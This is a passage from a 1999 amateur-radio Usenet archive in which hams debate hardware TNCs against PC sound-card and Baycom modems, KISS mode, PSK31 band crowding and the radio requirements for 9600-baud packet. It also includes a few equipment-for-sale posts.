I think TNC's and multi-mode controllers will be around for a bit longer.

One man's opinion (who works for a company that builds TNC's).

897. Re: PSK, a little breathing room PLS

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-17 00:00:00 UTC
From: Fred <as149@detroit.freenet.org>
Message-ID: <36ca375f.0@news.iprolink.co.nz>
Source record: 19599

I think the point is that the digital mode allocations in the IARU bandplan are fairly small, and most of the space is already taken up with other digital modes (as is much of the space on either side!).

PSK31 is a very good mode (I have heard CW experts guardedly say that it is nearly as good as CW), and indeed needs very little bandwidth, but operation can still be spoiled by wider band modes in the same allocation. One problem is that very few receivers have filters as narrow as the PSK31 signal, so suffer from in-passband desense, another is that of direct interference from other digital mode stations.

PSK31 is a live real operator mode, and the operators become understandably upset when an automatic unattended station starts up without checking the frequency first.

Source record: 19600

I agree with John. Terrible waste of a good computer.

However, if you have an old computer you want to use
for packet, try the Baycom software. It uses a very simple
modem to generate the tones and does all the rest in
software. Good for old PCs which don't have the grunt for
all the DSP sound card stuff.

If you just want to check your email occasionally, by
all means use your 300 MHz super cruncher and sound
card software.

Actually used TNCs are now so cheap that you might as
well use your PC as a dumb terminal, and use it for other
things at the same time.

Source record: 19601

It depends on what you want to do.

Sending data accurately would require a block type
protocol, so probably a Clover family protocol would
be best.

Sending human readable text, digitized voice or
images, where a few errors
are permissable could be done using MT63. The
2 kHz wide mode has a raw throughput of 1280 bps.

The MT63 throughput is continuous - not changing
to faster or slower with changes in conditions, as
will happen with Clover. When conditions are poor
the Clover (or Pactor II) data rate will slow down
significantly.

Source record: 19610

Hi gang,

Has a nice chat with the HAL folks at the Miami Hamfest (really computer show, as it turns out), and....

I am considering the purchase of a HAL P-38 RTTY board. There seems to be a gap in my knowledge though.

How do you tune this beast? I'm used to the LED's on the PK-232. I'm not using RITTY or anything else, software wise besides WF1B. HAL makes a tuning indication (RTTY-1 is the product), but $90 for an LED indicator seems a bit steep.

So what are the other options?

(Also, if you have experience with a P-38, I'd appreciate a quick comment as to it's efficiency over other TNC's like the PK-232 and the KAM. Basically looking to be sure the investment is worthwhile.)

Please email reply direct (and also to the group if you want.)

Thanks.....

The software included with the P-38 has an on screen tuning indicator. It uses
4 bars and is very intuitive to use after a very short learning curve. You don't
need anything else.

>(Also, if you have experience with a P-38, I'd appreciate a quick comment as
>to it's efficiency over other TNC's like the PK-232 and the KAM. Basically
>looking to be sure the investment is worthwhile.)

I've had one since they first came out. It works very very well in Clover II.
It works well in AMTOR and RTTY. There were some early bugs with its
PACTOR implementation, but that was corrected in later software releases.
It doesn't do PACTOR II, GTOR, or packet. It also doesn't do any of the new
modes such as PSK31 or the various Hell modes (but then neither do the
KAM or PK-232). DSP gives it a performance edge over those TNCs in the
modes it does do, and of course the tighter coupling to the PC is a real
advantage.

There's an on-screen tuning indicator on the PC software. It does a good job - you don't *need* the external tuning indicator.

i successfully setup packet reception
under dos and even win98, but i'm not forwarding anything, as a
listener
i just would like to find a program, based either on the flexnet api
or tfemu (tnc firmware emulator),that would enable spy and decoding
of traffic between two nodes: like files , public bulletins,fbb mail,

The traffic is compressed/binary so traffic monitoring is a bit boring
until now...
thank you...

well, if the range is short, and you have good error correction, try the guts
out of a cordless phone. not a cell phone, just a plain old wireless phone.
i'm sure that it would get allot of static, but just be sure you have some
good error correction protocol. like using a couple of old HST 9600 baud
modems on each end of the connection, with some packet radio software that
will take care of data integrity.
all of those things could be had pretty cheaply.

Feb 20 every year is when we celebrate the beginning of FSK on the HF ham bands in the US. And remember the RTTY pioneers and their hard work. The event is not a contest, there are no scores to keep nor logs to send in, just
use a mechanical teleprinter if you can
use vacuum tube gear if you can
use some 850 cycle shift if you can
but even if you can't do any of those get on the air and have fun and wallow in nostalgia.

Eddie

My understanding was that the no music clause was a sop to the commercial broadcasters who were worried that all of the new hams would start transmitting music and take over their markets. So it was music in its pure form that was the problem. Transmitting MIDI, .wav or .mp3 files is just that: transmitting data files. This should not be a problem under the current rules as they require additional equipment to convert them into sound. WARNING: IANAL!

Has the FCC provided us with an actual ruling on this?

Bob McConnell

As s system architect, I recognize that the TNC does have one major strength: it adds another processor with separate power to the system. Even in KISS mode, this can help reduce the workload on a PC so that other applications will still be usable. In full mailbox mode, it can stand alone while the PC is powered down, crashed or rebooting (not uncommon when running Micro$oft products).

On the otherhand, if you have an "older" PC without one of their unstable GUI's that can be dedicated to packet, and the space to leave it set up full time, then maybe you don't need this extra help.

There is usually more than one way to accomplish anything. Wouldn't life be a lot more boring if there weren't?

I bought a Kantronics KAM+ about 4 months ago to play with the
digital modes, and discovered that I am not all that keen on RTTY, PACTOR
or packet. Therefore, the KAM+ is up on the block for sale, to finance
other hobby expenditures.
It has the 7.1 firmware installed and is in excellent condition.
The 12vdc adapter is included, along with a HF cable that will work with
Kenwood 8 pin microphone plugs. All original packing and documentation
is included, along with some notes that are not part of the original.
The asking price is $200, or a reasonable offer. I am located in
the Dallas, TX area.

Adding a 2 MHz Z-80 with 32K RAM and 32K EPROM will *not* add noticable
power to a modern PC. Furthermore, there is almost no reduction in
workload especially in KISS mode, because all the date going between
radio and TNC is also transferred between TNC and PC.

>TNCs are 25 year old "technology". 25 years ago a PC couldn't do
>the necessary DSP job. Today it can. TNCs are obsolete. Have fun.

Doing the DSP may be a bit costly, but there are other options.
One can use a hardware modem and generate the digital datastream
on the PC instead of using a TNC. This can be done by bit-banging
the bits from the handshake lines of a serial or parallel port, or
by using an SCC card. The latter has less overhead and will usually
cost less CPU power on the PC than an external KISS TNC would.

When the software is written to take advantage of the SCC card, it
will also perform significantly better on the channel because the
software can have a better look at what is happening.
However, many programs take an SCC card as a special case of a generic
device that is also used with a KISS TNC, and thus wastes the advantage.

But Fred, he doesn't have an old TNC or an old DOS computer. He said he
knew how to do his own software. I would encourage anyone in such a
situation to use the powerful PC with sound. Why reinvent a 25 year
old wheel when you can fly? I personally am replacing my TNC with a
Motorola DSP EVAL board which makes a very good programmable modem.
What is wrong with advancing the state of the art in ham radio?

That very much depends on what the alternative is to the TNC! In this
thread mention has been made of sound cards, SCC cards and Baycom-type
modems - which are the most popular alternative.

If you use a Baycom modem, then the load on the PC processor is far
higher than when you're using a TNC. A Baycom modem interrupts the
processor at *bit* rate. (In fact, on receive, most Baycom drivers are
interrupting the processor at around double the bit rate.) Not only
that, but it needs a low and consistent latency in servicing COM port
interrupts - which can be very hard to achieve in a multi-tasking O/S.
If you're running Windows, then the performance of other parts of your
system, in particular the performance of hardware device drivers, can
make it almost impossible to get satisfactory performance out of a
Baycom modem.

A TNC interrupts the PC at no worse than *byte* rate. However, given
that most PCs now have buffered UARTS on the COM ports, the actual
interrupt frequency is much lower than that. Also, the latency in
servicing COM port interrupts is nothing like as critical as when you're
using a Baycom modem.

Baycom modems are fine on a 286 or better, running in DOS, but they are
anything but fine on many Windows systems.

>What is wrong with advancing the state of the art in ham radio?

I doubt seriously that Fred has anything against advancing the state of the art. Maybe he just doesn't feel personally responsible for doing so, and is happy with the performance of his present setup.

For example: When I work CW, I use an old Army "sparkproof" key developed during WW1 for use in the trenches. It is really clunky and has a big old "navy" type knob on it. The outside is weathered, but open up the sealed "sparkproof" compartment, and it all looks brand-new in there.
My brother and Dad are high-speed CW buffs and use keyers. They figure I'm nuts to pound that old Army key, and maybe I am but that's beside the point. - The point being that though the keyer is undeniably faster and more modern than my old straight-key, that does not in any way obligate me in any way to use it. The fact that I pound away at the old Army key will in no way prevent other Hams from using more modern equipment, or from pioneering new ways to "do" CW that might someday even make the keyers look hopelessly slow, awkward and obsolete.

On the other hand, you won't catch me trying to prove some point about how my straight-key is "better" than bugs or keyers. It's "better" for me without a doubt, but as for everybody else; Well, that's their lookout, not mine.

Advancing the art of Amateur Radio is indeed a fine goal, and I like to think that in some areas beyond CW, I've been able to participate in a few of those advances. Still, I see Ham Radio as being much more than JUST "advancing the art", and part of the enjoyment I get out of it is unashamedly nostalgic, just as some of it is unashamedly fraternal in nature. It's a big hobby, and there's a lot to it. The best opportunities for advancing the art tend to lay in specialized niches, which still leaves an individual plenty of other aspects of Amateur Radio to enjoy in a more relaxed manner that places more emphasis on the interpersonal communication between hams, and less on the type of equipment or software one is using.

So you're saying in KISS mode the TNC is no longer handling the AX25
protocol stuff?

Version 3.30 adds Internet DGPS!

Evaluate the effect DGPS has on the accuracy of your GPS receiver without investing in a differential beacon receiver. Download SA Watch from the SA Watch web site, http://www.sni.net/kawin/pages/sawhatis.htm

SA Watch uses an Internet connection to receive DGPS corrections originating from the Point Blunt, CA, USCG DGPS beacon to provide your GPS receiver with a continuous stream of correction data. Check out the SA Watch image on the SA Watch web site, captured from Boulder, CO. Of more than 1,800 samples, 99% were within 4 meters of the reference point!

This feature is of greatest value for observers within 2,000 km of San Francisco, CA, but useful insights can be gained from most of North America. Thanks to Wolfgang Rupprecht for the data stream.

Bob,

My understanding is that in KISS mode, the TNC is only handling transmitter control and error detection/correction. The string passed between the TNC and computer is the IP packet, so the PAD is turned off.

In America, that is restricted to 51 MHz and above. It is not
legal on HF except for government and police users.

Not really a problem though, because multiple tone modems
are usually poor performers, and even the military uses them
only because JTIDS is taking forever to deploy...

Well, I stand corrected on the misuse of the term 'PAD', but, in
KISS mode, the TNC is more than a coding coverter. It adds the
correct MAC-level framing and checksumming, it is really analogous
to a conventional network adapter.

The packet radio must have a PCMCIA slot to plug in my Proxim
wireless interface to my LAN, or an Ethernet PCMCIA card, and
be controlled by SNMP.

The packet radio must produce 30 Watts minimum in a Spread
Spectrum band of 440 - 449 MHz (Frequency Hopper), and have
a sustained through-put of 1.6 Mbps full duplex minimum.

It should cost $700 to $1000 US.

Hi...

I'm cleaning house. I'd like to sell out some of my satellite books.
I have the following books for sale. (Sorry, I don't want to separate
them....buy them all, one price.)

ARRL The Satellite Experimenter's Handbook
by Martin Davidoff K2UBC
Retail: $20

The ARRL Satellite Anthology (2nd Edition)
The Best of Recent QST articles on amateur satellite operation and hardware
Retail: $8

ARRL Weather Satellite Handbook (Fourth Edition)
by Dr. Ralph E. Taggart, WB8DQT
Retail: $20

The Amateur Radio Astronomer's Handbook
(Build your own radio telescope!)
Retail: $19.95

I'm asking $25 for the whole package (plus $5 shipping).

If interested, please send email to the address listed in
the signature below, and we can swap address particulars,
or I can answer any other questions you might have.

Thanks...

Ken, N1NEG

948. Wish List: for Packet equipment:

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-20 00:00:00 UTC
From: Charles Brabham <n5pvl@texoma.net>
Message-ID: <7am3a1$l7q@enews4.newsguy.com>
Source record: 19643

Here's a few things I'd like to see... Any other suggestions?

1. PCI bus HDLC card for Pentium computers with sockets for two or preferably four plug-in modems. The modems should be no bigger than a book of paper matches, inexpensive, and available in all of the popular data rates plus one that's as fast as the HDLC card's hardware/software will reliably support. I would also want plug-in "modem" cards with TTL and/or RS-232 connections allowing use of external modems. As long as I'm "wishing", I'll wish for Ethernet on each card for linking computers.

2. ISA bus version of the above for use in older computers.

3. A TNC design that allows replacement/upgrade of the "firmware" without need for opening up the unit or swapping out any chips. Send a standard EPROM image to the TNC over the RS-232 line with a password, then send a reset/restart and you're using the new "firmware".

I'd want an optional capability to upgrade the software via the radio link, set by an internal jumper.

In addition to the re-writable memory system, a standard EPROM would need to be present to bring the unit back online if and when new "upgrade" software causes the TNC to crash or lock up. It would need a watchdog for that.

4. A really small TNC designed to be placed inside a radio or laptop computer. Let it use the same paper-matchbook sized, plug-in modems as the HDLC card above.

5. Packet equipment with Ethernet instead of RS-232 connections to the computer.

A buddy of mine used to say, "Wish in one hand, and spit in the other and see which one fills up the fastest."

That is right, in KISS mode a TNC only converts between ASYNC and HDLC,
the AX.25 protocol is running on the PC.

(that is partly why it is performing so badly: the AX.25 protocol engine
loses control over the physical transmission of the packets)

No, what is commonly referred to as a PAD includes the functionality
of a TNC in "command mode". In KISS mode it is not a PAD but only
a coding converter. Assembling the packets is done by the PC.

I've seen radios, such as the Icom 207H, with descriptions similar to "9600 bps packet operation with a dedicated port"...
What does that mean? The TNC buiilt in? Or that there's simply extra plugs for the TNC?
Or...? Like would it be worth looking/waiting for a radio with such 'ports' built in?
Thanks!

One of the best archives for BayCom software is at:
ftp://ftp.funet.fi/pub/ham/packet/baycom/

If you're interested in the TPK-flavor of Baycom, there is an older
version than the one in the /baycom/ directory, but it has a few more
files: ftp://ftp.funet.fi/pub/ham/packet/terminal/tpk-bcom.zip

As an alternative to BayCom, there are some packages that use the
parallel port to interface to the TNC:
ftp://ftp.funet.fi/pub/ham/packet/pmp/pmp11.zip
ftp://ftp.funet.fi/pub/ham/packet/terminal/ezpkt200.zip
PMP (Poor Man's Packet) doesn't have much in the way of features, but
I ran an earlier version of EZPacket (v1.4) for a while, and thought
it was OK. It uses the PMP-style of connection to the PC, so you can
play with both software packages with the same interface connection.
If I remember correctly, EZPacket could relocate the I/O adresses it
used in order to work with a BayCom interface on the serial port.

For another TNC emulator methood, try:
ftp://ftp.funet.fi/pub/ham/packet/misc/tncemu10.zip

If you want to experiment with higher speed no-TNC packet, you should
visit:
PE1NIB's page on the ON5DXL packet modem:
http://www.qsl.net/pe1nib/index.html
DL9RDZ's page on the ON5DXL packet modem:
```

http://wwwcip.informatik.uni-erlangen.de/user/hsreiser/hamradio/#dxl

Here are some miscellaneous "no-TNC" URLs I had lying around:
http://www.baycom.org/
http://piment.ireste.fr/baycom/tech/
ftp://ftp.qsl.net/pub/ra3atx/HAMRADIO/DIDGITAL/BAYCOM/
http://www.tigertronics.com/

NO built in TNC but a connector for the rig to tnc hookup.
The new Kenwood TH-D7A handheld DOES have a built in tnc though.

To the best of my knowledge (and I could have missed something),
there is no curent radio with a TNC built in.

Radios that state "9600 baud ready" or some such verbage
simply have provisions for the necessary interface (port, if
you will) to connect to a 9600 baud TNC.

The TNC is an outdated paradigm. Today packet can be
done at rates to 9600 baud with little or nothing more than
a connection to a sound card, with the host PC doing the
signal processing as well as the AX.25 (and/or TCP/IP)
processing.

To go to higher speeds requires a dedicated RF modem
such as the 56k "GRAPES" modem or the clone offered
as a built and tested unit by PACCOM.

All a TNC does is turn your PC into a dumb terminal slave
to a 4 MHz Z80 ...

Kenwood has a handheld, but it is defective in that it is not a True FM radio, and therefore the 9600 operation is bound to be mediocre at best.

>Radios that state "9600 baud ready" or some such verbage
>simply have provisions for the necessary interface (port, if

Supposedly they operate down to DC and up to 4.8 kHz using a true FM modulator, NOT a reactance modulator. In almost every case, the words "9600 Ready" are a sales gimmick, so far anything (including Kenwood) that has those words has been a miserable failure. The only two new radios that can operate 9600, are the Tekk and the Hamtronics. Older Motorola radios had True FM, and these can be found for less that $75 in most regions.

Whoo-Hoo 9600! Sorry, this speed is not acceptable, I've seen 64 k, and I ain't going back :-)

Actually there is more to it than the speed. Most TNC's are crummy little 8 bit CPU's that can address 64k of memory. Thus many of them are starving for memory space at most times, and can't operate. The functions of a TNC quickly consume this memory. 8 Bit devices are great for embedded gadgets, but these CP/M throwbacks we call TNC's are completely bogus.

I used to run a Gracillis PackeTwin card here to another one 15 miles NW of me. The difference was night and day. We ran 9600 with 512 byte packets and I would send 4 of those before getting an ACK. We would not hesitate to ship huge ZIP files, and the thru-put compared to the alternate netrom 9600 circuit was like the netrom had 5 second out of memory windows when it would say "Huh? send again."

Alas, Gracillis makes good hardware, but their software driver was all the time crashing. I don't think they ever fixed the driver

before they went out of business. So I traded my card for some
other Ham radio need.

>To go to higher speeds requires a dedicated RF modem
>such as the 56k "GRAPES" modem or the clone offered
>as a built and tested unit by PACCOM.

Screw that, I can buy almost ten 1.6 Mbps Proxim cards that
operate full-duplex for the price of one grapes modem and all
the stuff you need to make it work. Plus, the Proxim card is
in an Ethernet card form, and works with TCP/IP out of the box.

Anyone looking at Fog-Horn RF devices (radios that use
Wide-Band RF and depend on power to overcome interferrence)
as we approach the 21st Century, is basically in denial.

>All a TNC does is turn your PC into a dumb terminal slave
>to a 4 MHz Z80 ...

Bullshit. It attempts to offer you a half-duplex radio modem with
a quasi-SLIP interface that can be used to network two computers.
It fails because it only has a 16 bit address space, and is starving
for memory when operated with 512 or greater packet sizes.

And don't get me started with those God damned baycom modem
simulators either. 1200 baud is fine for some things, just sucks
for the majority of what Hams want to do.

Once you've seen 9600 using a DMA card, there's no going back;
there's only going forward. Speed (through-put) is life, in radio-land.

957. RTCM via Packet Legal?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-21 00:00:00 UTC
From: Seth Miller <seth.miller@NOSPAMworldnet.att.net>
Message-ID: <36D03B8B.1FEC7945@NOSPAMworldnet.att.net>
Source record: 19510

Would it be legal to broadcast, err, I mean transmit, DGPS RTCM data as packet UI frames on an amateur radio frequency (assuming that it is a strictly non-profit activity and for amateur experimental use only), or would this be a prohibited as a 'broadcast' with no specific intended receiver? I don't mean temporarily during a specific special activity, I mean more-or-less 24-hour per day operation.

I'm not really into the APRS scene, maybe this is already being done? (I live in the SF Bay area).

All opinions (particularly supported ones) are welcome...

Thanks -

- Seth N6BMB

It is completely legal. It's done all the time.

There's a rule book on the ARRL home page:

www.arrl.org

While I agree with your conclusion, what exactly do you mean by
"True FM"? Are you drawing a distinction between FM and PM?

What is a "true FM" modulator, Steve? Are you talking about the
difference between a phase modulator (which produces PM) and a
frequency modulator (which produces FM)? This is potentially
quite confusing, since there are a great many radios out there
that indeed have "true" (or "direct") FM that still aren't suitable
for 9600 baud. Yup, that's right, even a "direct" or "true" FM
radio may not be suitable for 9600 baud. How is this so?

Common PLL synthesized VHF/UHF radios use a "single-loop" design,
in which the frequency of a VCO is controlled by the PLL feedback.
VCOs are typically a conventional LC oscillator where some part of the
resonant circuit is controlled by a varactor diode. FM modulation is
introduced directly into the VCO, sometimes on the very same control
line used by the PLL, sometimes into a separate varactor circuit
specifically designed for modulation rather than wide-range frequency
control. The modulation *directly* and *truly* modulates the frequency
of the VCO.

The problem with this and 9600 baud is that the PLL feedback will
cancel out the lowest frequency portion of the modulation. Modulation

inside the loop bandwidth will be cancelled out by the loop (and, not surprisingly, appear on the feedback control line).

So, it sounds like the "True FM" radios you're talking about are non-PLL radios that use very stable oscillators (i.e., crystal oscillators) and are directly modulated by varying a reactance attached to the crystal. In other words, it sounds like you mean "crystal-controlled, direct-FM" when you write "true FM", right?

By the way, not all crystal designs are direct-FM, there are a great many phase-modulated (PM) crystal transmitters. These are useless for 9600 baud, since they do not have a DC response.

Furthermore, there *are* PLL designs that offer DC response. This is done either by using a crystal-controlled, direct-FM oscillator at an intermediate frequency and mixing it onto the desired frequency with a PLL-controlled local oscillator, or by using "two-point" modulation, where both the VCO and the PLL reference oscillator are direct-FM modulated (inside the loop bandwidth, changes in the reference show up as direct modulation of the VCO).

So, all this longish response is intended to point out that it isn't as simple as finding a radio with "True FM". What is required for 9600 baud operation is an FM (direct-FM, not PM) radio with response down to DC. Sure, this is mildly confusing, which explains why 9600 baud packet operation is so challenging to most amateurs.

Really? Memory starvation, even at 9600 baud? I strongly doubt it. If you've got a single-port 9600 baud TNC connected to a host computer using a 9600 baud serial line, the amount of buffering required is typically one or two frames (i.e., less than 1KB of memory). If your host computer can't keep up with 9600 baud, then you've got a problem but it isn't the limited resources of the TNC.

> I used to run a Gracillis PackeTwin card here to another one 15

Are you really comparing a direct, good-path 9600 baud circuit with a netrom (indirect) circuit? That's apples and oranges to the extreme, not a relevant comparison at all.

Excuse me? As I pointed above, as long as the TNC-to-host data rate
is at least as great as the RF data rate, only one or two maxframe
buffers are required, nowhere near starving for memory in a decently
designed TNC. The 16-bit address space is not the limitation,
not even remotely.

I don't think anyone is begrudging PSK31 operators a little band
space. the question is, why displace established operations to
get it? They have to go somewhere else, so why shouldn't the
PSK31 operators go somewhere else instead? I'd note that
the *automatic unattended forwarding* band segments (under
US rules) are even narrower than those for manned operations,
so there is less scope for the automated stations to move.

Too true. Many of the amateur rule problems are
self-inflicted, however. There always seems to be
someone saying "there oughta be a law" and there's
always some bureaucrat willing to oblige.

Lyle Johnson said that Part 97 could be condensed
to "Here are the band edges, stay inside of them,
use good engineering practice, and have a nice day."
But there are too many who want everything micromanaged
to let that come to pass. So we have byzantine subbands
without number and excessively detailed micromangement
of what we can do inside those subbands.

962. Antenna Site RF Modem

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-02-21 00:00:00 UTC
From: Steve Sampson <ssampson@usa-site.net>
Message-ID: <slYz2.889$ir5.15901@news.goodnet.com>
Source record: 19515

I would like to discuss a limited project that would improve the backbone network between cities and states.

I see packet radio as fading out, in most areas, with a lack of participation being mainly the low speed, and difficult software to master. More than that, most new Hams don't understand Deviation at worst, and FRACK at best. It's just over their head.

Most new Hams don't go to club meeting either. So they fade out rather quickly, and take it personally when you tell them that their deviation is well into the clipping stage.

What we need is a plug-in card that operates with the native network drivers. The new Ham plugs the card in, sets up his Win98 network parameters, and is on the air.

Right now, I see one card that fits into this scheme. That is, the Proxim Symphony card. The Proxim card allows a cell of 10 Nodes to form a LAN (Local Area Network). Suppose you have a two or three story bank in a local community, then the antenna can be placed at a higher elevation to get the line-of-site required. If 20 people want to network, then a second card is needed. Each card selects one of 16 channels, thus up to 160 users per cell site can be handled (but you're going to need a 100 Mbps Ethernet card to trunk them, and a 16 slot motherboard :-)

Proxim cards produce 100 mW to the antenna (an Antenna-Vision type would be fine) and are shipping at about $120 US at this time. They operate at 1.6 Mbps using FHSS (Frequency Hopping Spread Spectrum) at 2.4 GHz. They only work on Intel based processors, and Win95, Win98, and Linux specifically.

At the main Cell site, you will need a small PC that would fit into a 19 inch relay rack (a 6 Inch form would be good), or, if they let you, a small conventional PC that could fit into the rack, or on a table.

This design could also use a conventional DMA card to backbone at 9600 baud half-duplex to an Internet Gateway, Control Operator, or another site that is too far for the Proxim cards to handle.

==========

From this point on, given the above, I would like to gather inputs from the group. I have set up a Web page at:

http://ham.usa-site.net

If you have a design proposal and would like to FTP it along with pictures, then send them to:

ftp://ham.usa-site.net/radio/incoming

But I'd really like to see proposals and discussion in this group, to get the maximum amount of ideas. I give this a life span of 6 months.

Where Ham radio would come in, is extending the range of the Hub using amplifiers. Something very limited in Part 95.

Steve

I would believe the port would be an extra port to attach the TNC, not
a built in TNC. How well the rigs perform at 9600 I don't know,because
I haven't tried them. Sometime ago a QST article reviewed the "9600
ready" amateur rigs.

I thought Carl was referring to the microprocessor clock speed in the
TNC2 clones. While how the majority of the packet users end up turning
a powerful computer into a simple dumb ternimal, it don't have to be
that way way, despite of being old tech TNCs will prove usefull for a
long time

Yes, a Tekk, or a Hamtronics should work fine for a new radio. I
favor crystal controlled transmitters and receivers.

Notice I mentioned 512 byte packets in 2048 byte segments, and enough
to retry, thus probably 12k of memory. If you cut down the node list and
all the other crap, you might have enough.

>Are you really comparing a direct, good-path 9600 baud circuit
>with a netrom (indirect) circuit? That's apples and oranges to
>the extreme, not a relevant comparison at all.

I'm comparing a 9600 baud repeater using a TNC using 256 byte
packets, to a direct path using 512 byte packets. Both using
segmentation.

>> >All a TNC does is turn your PC into a dumb terminal slave

>not even remotely.

What's a decently designed TNC? All I had was a Kantronics and a
TNC-2 clone. Both had less throughput than the DMA card at 512 byte
packets. Mostly because they were not designed to operate with large
packets. I believe someone did a study on packet sizes on the TNC and
had charts to show they were made up with algorithms that favored
256 bytes and 128 bytes, and hit the edge of the Bell-Curve at 512 bytes.

It's more than just memory, but I simplified.

Steve

I remember a company that made DRSI cards. Pop one into your PC,
and you had various combinations of internal VHF/UHF port(s), and
external ports for hookup to say a HF modem.
Two problems arose...1.) The original manufacturer went out of business,
and 2.) Required a PC to be running, so if you had a power failure or the
computer for whatever reason locked up/died the PC crashed and so did

the DRSI card...thus your network did too.
Now those loveable little clunkers by PacCom aka the Tiny-2's...require very little power, and with minimal rewiring inside and a EPROM that has TheNET burned on it will go for quite sometime with a plain old car and/or gel cell battery. Get some xtal controlled hand held commercial quality radios, retune them if needed, hook them up to the same power source and you have a node site that will last for a few hours even days depending on traffic load and power consumption. This setup is very compact and can be used in remote locations.
Now the PC version will work, but will require more batteries for short term use, and the addition of a generator for backup power(and then someone to fuel it...not the best if it's a remote area not easily accessible). Remember, when the power is out, and the phone lines are down the internet access and computers die too. A good basic and even slow packet network will continue to clunk away...if it's setup correctly. Case in point...the Big Ice Storm that hit this
area last year. Voice and packet radio traffic was the SOLE source of communications in this area for a good week or two...longer in the more remote areas.

That's sort of like asking: I want to go to San Jose, will a Honda Civic work?

Sure it will.

But you can also get there in hours on an airplane.

Thus, what everyone is complaining about packet, is that it is too slow, and becomes boring after a few months.

I would go to a swap meet if I was just starting out, and buy an used TNC (Kantronics would be good), or ask your Ham buddies what they are using. There's no sense buying a "Flux Capacitor" when a "Point Condenser" will do.

From my experience MT63 is not a poor performer.

There are some problems, especially latency and lock-up time, but once in action, MT63 is extremely robust and reasonably fast. I can work antipodean stations on 20m using MT63 just about every day if I wish, which is certainly not true (with the equipment I have) for the other modes I have tried.

: By the way, not all crystal designs are direct-FM, there are a great
: many phase-modulated (PM) crystal transmitters. These are useless for
: 9600 baud, since they do not have a DC response.

What exactly is the requirement for DC frequency response in 9600 bit/s modems ?

The AX.25 uses HDLC style bit stuffing to prevent too many consecutive '1's (and thus could be mistaken for the end flag), but there could be a long sequence of '0's, which would require a DC response. Wasn't the scrambler inserted just to prevent this from happening by splitting long sequences of '0's or '1's ? Does the bit stuffing interact with the scrambler producing long sequences of '0's and '1's ?

Please, correct me if I am wrong, but to me it appears that the main culprit is the incorrectly chosen coding that is feeding the modulator. With a coding specially designed to avoid very low frequencies (as in every coding system used to record digital data on a magnetic media), much more surplus radios could be easily converted to speeds larger than 1200/2400 bit/s.

Practically speaking, response all the way to DC isn't that critical.
In the case of PM transmitters, I should have said "since they do
not have a flat frequency response". PM effectively halves the
resulting deviation for every octave and has no DC response.

A lot of folks seem to overlook how useful a crystal-controlled
radio really is in packet radio. I personally favor surplus
land-mobile radios (Mitrek, Maxar, Flexar, to name a few) over
new 'amateur' grade equipment, but we're splitting hairs.

I was thinking of a KISS TNC, myself. Sure, I know that KISS has the
disadvantage that it completely disconnects the upper-level protocols
from the MAC-level interface, but that's not particularly relevant.
One could design a better KISS-like protocol (apparently that's what
the six-pack protocol is) and it doesn't change the model. If you
use the TNC as a MAC-interface, it needn't buffer much.

I'm still a little confused. What was the DMA card? Where was the
AX.25 protocol running when using the DMA card? Were the TNCs used in
KISS mode or were they running the AX.25 protocol?

It would be useful if you were more specific than "miserable failure."

Do you mean excessive Tx/Rx and/or Rx/Tx delays? In practice, what
is "excessive"?

Do you mean excessive bit error rates? Under poor conditions? Under
good conditions? What bit error rates ought to be considered excessive?

Do you mean with certain receivers? Certain transmitters?

Would the casual user know that their transceiver was a "miserable failure"
at 9600 bps, or is sophisticated test equipment or procedures required
to detect "miserable failure"?

> Older Motorola radios had True FM, and
>these can be found for less that $75 in most regions.

Are you referring to the Motorola Mitrek?

By the way, converting Motorola Mitreks makes a nice club project. It
is an easy way of getting a lot of people on the air at 9600 bps without
requiring everyone to have the test gear and skill necessary to tune the
radios and set the deviation. See, for example, http://www.twinslan.org/.
(By the way, the Timewave/AEA IDR-96 is a product that was developed by AEA,
but apparently never marketed. I don't know if it is generally available;
Timewave happens to be nearby.)

Dana,

Thanks for the useful tutorial on the transmitter requirements for 9600bps operation.

However, my question still remains: if I am going to buy a traditional VHF transceiver (you know, one that comes with a microphone; not a crystal-controlled data radio), how do I figure out which ones will work better than others at 9600 bps?

Should I print your paragraph, take it to my local ham store and say: "This is what I want?" Should I take it to my local ham convention and tell the vendors "This is what I want"?

(Oh, and before everyone jumps up and tells me to buy a bicycle when what I really want is a car, I do have a Mitrek running at 9600 bps.)

Thanks in advance for your thoughts,

Tim Salo
AB0DO

One thing you can check is the product reviews in QST (these are all now
available to ARRL members on www.arrl.org.) They usually show
transmit-receive and receive-transmit turnaround time, which will show if
you can use a low value of TXD. I've seen some reviews which showed
bit-error-rate measurements, but they are not as common.

You're probably better off with the Mitrek than practically any of the
currently-available synthesized radios.

The way I figure out how suitable a radio is, is by inspecting the
schematic diagram ;-)

> Should I print your paragraph, take it to my local ham store and say:
> "This is what I want?" Should I take it to my local ham convention and
> tell the vendors "This is what I want"?

You could show them:

I want plug-n-play 9600-baud FSK operation, with the
following characteristics:

1) Modulation response from very-near-DC to 4800 Hz
2) Constant deviation amplitude across the band.
3) Transmit/receive and receive/transmit delays
under 30mS.

This really about sums it up. By the way, as far as I can tell,
the FT-847 meets these requirements ;-)

> (Oh, and before everyone jumps up and tells me to buy a bicycle when what
> I really want is a car, I do have a Mitrek running at 9600 bps.)

Mitrek! There's a real radio, with a real receiver, unlike the
typical ham rigs these days ;-) ;-)

Think about interrupt processing load and context switch time.
Then think about the other processor in the TNC (the HDLC chip).

Bdale Garbee's mods are the best, in my not-so-humble opinion.

He has one little error in his paper. He mentions that you need
to remove an R515. There is no R515 (at least not in the proper
section). I believe he made a typo. It should be L515 (an inductor).

http://www.tapr.org/~n3eua/hw/mitrek.html

You will need to get a service manual in order to find most of the
parts. Not really a big deal. I found one at Dayton for about $10.
I modified a VHF radio with his procedure and it is a very nice
full-duplex digital repeater.

Good luck!

On Mon, 22 Feb 1999 13:56:11 GMT, Dana@Source.Net (Dana H. Myers K6JQ)
wrote:

: Practically speaking, response all the way to DC isn't that critical.
: In the case of PM transmitters, I should have said "since they do
: not have a flat frequency response". PM effectively halves the
: resulting deviation for every octave and has no DC response.

So this would require a fixed "equaliser" feeding the transmitter to
compensate for this, ie. a low pass filter with a cut-off frequency at
100 Hz with a constant slope of -6 dB/octave to compensate for the PM
boost.

Since most radios can be used with CTCSS with the lowest tones below
100 Hz, apparently the required frequency response extends well below
this ?

So why is not a suitable kind of Biphase coding used with a guarantied
transition either in the beginning or end of each bit transmitted.
This would remove the need for very low frequency response, thus
